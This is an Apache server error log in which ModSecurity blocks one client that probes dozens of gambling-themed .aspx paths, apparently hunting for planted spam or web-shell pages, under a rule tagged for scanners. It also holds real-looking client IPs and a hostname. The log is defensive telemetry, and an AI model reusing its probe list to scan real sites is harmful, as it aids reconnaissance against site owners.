[Thu Apr 09 07:34:55.514418 2026] [:error] [pid 20641:tid 20664] [client 51.77.43.72:57770] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adbmH23LksBSF-6rlkaY3QAAANM"]
[Thu Apr 09 07:34:57.503771 2026] [:error] [pid 20535:tid 20560] [client 51.77.43.72:57776] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adbmIQWiD9hWnEUHWdNgMgAAABA"]
[Thu Apr 09 07:34:59.610100 2026] [:error] [pid 20535:tid 20546] [client 51.77.43.72:57792] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adbmIwWiD9hWnEUHWdNgOgAAAAI"]
[Thu Apr 09 07:35:01.725028 2026] [:error] [pid 20641:tid 20656] [client 51.77.43.72:57794] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adbmJW3LksBSF-6rlkaY6QAAAMs"]
[Thu Apr 09 07:35:03.713315 2026] [:error] [pid 22627:tid 22634] [client 51.77.43.72:57808] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adbmJ_r8glsF_jKQpr5U6QAAAQQ"]
[Thu Apr 09 07:35:05.763783 2026] [:error] [pid 20641:tid 20660] [client 51.77.43.72:38858] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adbmKW3LksBSF-6rlkaZOAAAAM8"]
[Thu Apr 09 07:35:07.834361 2026] [:error] [pid 22627:tid 22651] [client 51.77.43.72:38872] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adbmK_r8glsF_jKQpr5U8AAAARU"]
[Thu Apr 09 07:35:09.899622 2026] [:error] [pid 20535:tid 20547] [client 51.77.43.72:38880] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "adbmLQWiD9hWnEUHWdNgkAAAAAM"]
[Thu Apr 09 07:35:11.882882 2026] [:error] [pid 20641:tid 20653] [client 51.77.43.72:38892] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "adbmL23LksBSF-6rlkaZTQAAAMg"]
[Thu Apr 09 07:35:13.886014 2026] [:error] [pid 20535:tid 20553] [client 51.77.43.72:38906] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "adbmMQWiD9hWnEUHWdNglQAAAAk"]
[Thu Apr 09 07:35:15.854509 2026] [:error] [pid 22627:tid 22640] [client 51.77.43.72:60986] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "adbmM_r8glsF_jKQpr5VBwAAAQo"]
[Thu Apr 09 07:35:17.970401 2026] [:error] [pid 22627:tid 22648] [client 51.77.43.72:32768] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "adbmNfr8glsF_jKQpr5VDwAAARI"]
[Thu Apr 09 07:35:19.902943 2026] [:error] [pid 20641:tid 20657] [client 51.77.43.72:32782] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "adbmN23LksBSF-6rlkaZYQAAAMw"]
[Thu Apr 09 07:35:21.993675 2026] [:error] [pid 20535:tid 20562] [client 51.77.43.72:32788] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "adbmOQWiD9hWnEUHWdNgmwAAABI"]
[Thu Apr 09 07:35:23.947027 2026] [:error] [pid 20535:tid 20544] [client 51.77.43.72:32802] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "adbmOwWiD9hWnEUHWdNgogAAAAA"]
[Thu Apr 09 07:35:26.009974 2026] [:error] [pid 20641:tid 20663] [client 51.77.43.72:45800] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "adbmPm3LksBSF-6rlkaZawAAANI"]
[Thu Apr 09 07:35:28.024250 2026] [:error] [pid 20641:tid 20659] [client 51.77.43.72:45806] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "adbmQG3LksBSF-6rlkaZcgAAAM4"]
[Thu Apr 09 07:35:29.992039 2026] [:error] [pid 20536:tid 20575] [client 51.77.43.72:45808] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "adbmQcPqyUJM1s3YpIZANAAAAEQ"]
[Thu Apr 09 07:35:31.950618 2026] [:error] [pid 20537:tid 20613] [client 51.77.43.72:45824] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "adbmQ8STjpSeyrxLmN413QAAAI8"]
[Thu Apr 09 07:35:33.822854 2026] [:error] [pid 20537:tid 20600] [client 51.77.43.72:45826] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "adbmRcSTjpSeyrxLmN414QAAAII"]
[Thu Apr 09 07:35:35.827774 2026] [:error] [pid 22627:tid 22651] [client 51.77.43.72:46846] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "adbmR_r8glsF_jKQpr5VNwAAARU"]
[Thu Apr 09 07:35:37.939187 2026] [:error] [pid 20536:tid 20572] [client 51.77.43.72:46848] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "adbmScPqyUJM1s3YpIZAQQAAAEE"]
[Thu Apr 09 07:35:40.144200 2026] [:error] [pid 22627:tid 22638] [client 51.77.43.72:46852] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "adbmTPr8glsF_jKQpr5VTwAAAQg"]
[Thu Apr 09 07:35:42.147344 2026] [:error] [pid 22627:tid 22646] [client 51.77.43.72:46868] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "adbmTvr8glsF_jKQpr5VWAAAARA"]
[Thu Apr 09 07:35:44.099590 2026] [:error] [pid 20535:tid 20555] [client 51.77.43.72:46878] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "adbmUAWiD9hWnEUHWdNgywAAAAs"]
[Thu Apr 09 07:35:46.043656 2026] [:error] [pid 20641:tid 20659] [client 51.77.43.72:56314] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "adbmUm3LksBSF-6rlkaZiwAAAM4"]
[Thu Apr 09 07:36:25.453815 2026] [:error] [pid 20641:tid 20660] [client 51.77.43.72:56328] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "adbmeW3LksBSF-6rlkaZxwAAAM8"]
[Thu Apr 09 07:36:27.462408 2026] [:error] [pid 20535:tid 20559] [client 51.77.43.72:44198] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "adbmewWiD9hWnEUHWdNhKgAAAA8"]
[Thu Apr 09 07:36:29.424633 2026] [:error] [pid 20535:tid 20564] [client 51.77.43.72:44210] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "adbmfQWiD9hWnEUHWdNhMAAAABQ"]
[Thu Apr 09 07:36:31.644076 2026] [:error] [pid 22627:tid 22634] [client 51.77.43.72:44214] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "adbmf_r8glsF_jKQpr5V6QAAAQQ"]
[Thu Apr 09 07:36:33.717245 2026] [:error] [pid 20536:tid 20576] [client 51.77.43.72:44224] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adbmgcPqyUJM1s3YpIZAYAAAAEU"]
[Thu Apr 09 07:36:35.629768 2026] [:error] [pid 20641:tid 20645] [client 51.77.43.72:41558] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "adbmg23LksBSF-6rlkaZ3AAAAMA"]
[Thu Apr 09 07:36:37.734761 2026] [:error] [pid 20537:tid 20617] [client 51.77.43.72:41570] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adbmhcSTjpSeyrxLmN42JAAAAJM"]
[Thu Apr 09 07:36:39.852063 2026] [:error] [pid 20535:tid 20544] [client 51.77.43.72:41572] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "adbmhwWiD9hWnEUHWdNhUQAAAAA"]
[Thu Apr 09 07:36:41.928094 2026] [:error] [pid 20535:tid 20552] [client 51.77.43.72:41574] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "adbmiQWiD9hWnEUHWdNhWgAAAAg"]
[Thu Apr 09 07:36:44.048991 2026] [:error] [pid 20537:tid 20614] [client 51.77.43.72:41576] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "adbmjMSTjpSeyrxLmN42KQAAAJA"]
[Thu Apr 09 07:36:46.107775 2026] [:error] [pid 22627:tid 22636] [client 51.77.43.72:33344] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "adbmjvr8glsF_jKQpr5WAQAAAQY"]
[Thu Apr 09 07:36:48.044192 2026] [:error] [pid 20641:tid 20648] [client 51.77.43.72:33346] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "adbmkG3LksBSF-6rlkaZ5gAAAMM"]
[Thu Apr 09 07:36:50.128169 2026] [:error] [pid 20535:tid 20558] [client 51.77.43.72:33360] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "adbmkgWiD9hWnEUHWdNhaAAAAA4"]
[Thu Apr 09 07:36:52.326313 2026] [:error] [pid 20641:tid 20659] [client 51.77.43.72:33376] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "adbmlG3LksBSF-6rlkaZ8AAAAM4"]
[Thu Apr 09 07:36:54.540523 2026] [:error] [pid 22627:tid 22631] [client 51.77.43.72:54872] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adbmlvr8glsF_jKQpr5WDwAAAQE"]
[Thu Apr 09 07:36:56.516036 2026] [:error] [pid 20537:tid 20603] [client 51.77.43.72:54882] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "adbmmMSTjpSeyrxLmN42NQAAAIU"]
[Thu Apr 09 07:36:58.556648 2026] [:error] [pid 20535:tid 20557] [client 51.77.43.72:54890] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "adbmmgWiD9hWnEUHWdNhgwAAAA0"]
[Thu Apr 09 07:37:00.714456 2026] [:error] [pid 20537:tid 20614] [client 51.77.43.72:54902] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "adbmnMSTjpSeyrxLmN42RAAAAJA"]
[Thu Apr 09 07:37:02.868909 2026] [:error] [pid 20536:tid 20583] [client 51.77.43.72:54908] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "adbmnsPqyUJM1s3YpIZAdAAAAEw"]
[Thu Apr 09 07:37:04.852956 2026] [:error] [pid 20537:tid 20615] [client 51.77.43.72:51464] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adbmoMSTjpSeyrxLmN42TgAAAJE"]
[Thu Apr 09 07:37:07.079777 2026] [:error] [pid 22627:tid 22648] [client 51.77.43.72:51468] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "adbmo_r8glsF_jKQpr5WYQAAARI"]
[Thu Apr 09 07:37:09.208613 2026] [:error] [pid 22627:tid 22635] [client 51.77.43.72:51474] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "adbmpfr8glsF_jKQpr5WbQAAAQU"]
[Thu Apr 09 07:37:11.106024 2026] [:error] [pid 22627:tid 22652] [client 51.77.43.72:51480] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adbmp_r8glsF_jKQpr5WtgAAARY"]
[Thu Apr 09 07:37:13.320611 2026] [:error] [pid 20535:tid 20552] [client 51.77.43.72:51488] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "adbmqQWiD9hWnEUHWdNhqQAAAAg"]
[Thu Apr 09 07:37:15.234607 2026] [:error] [pid 20641:tid 20652] [client 51.77.43.72:54184] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "adbmq23LksBSF-6rlkaaEAAAAMc"]
[Thu Apr 09 07:37:17.152476 2026] [:error] [pid 20537:tid 20602] [client 51.77.43.72:54200] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "adbmrcSTjpSeyrxLmN42VwAAAIQ"]
[Thu Apr 09 07:37:19.264552 2026] [:error] [pid 22627:tid 22648] [client 51.77.43.72:54212] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "adbmr_r8glsF_jKQpr5WyQAAARI"]
[Thu Apr 09 07:37:21.345312 2026] [:error] [pid 20537:tid 20617] [client 51.77.43.72:54220] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adbmscSTjpSeyrxLmN42YwAAAJM"]
[Thu Apr 09 08:16:13.037476 2026] [autoindex:error] [pid 22627:tid 22632] [client 85.203.23.121:60229] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/php-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
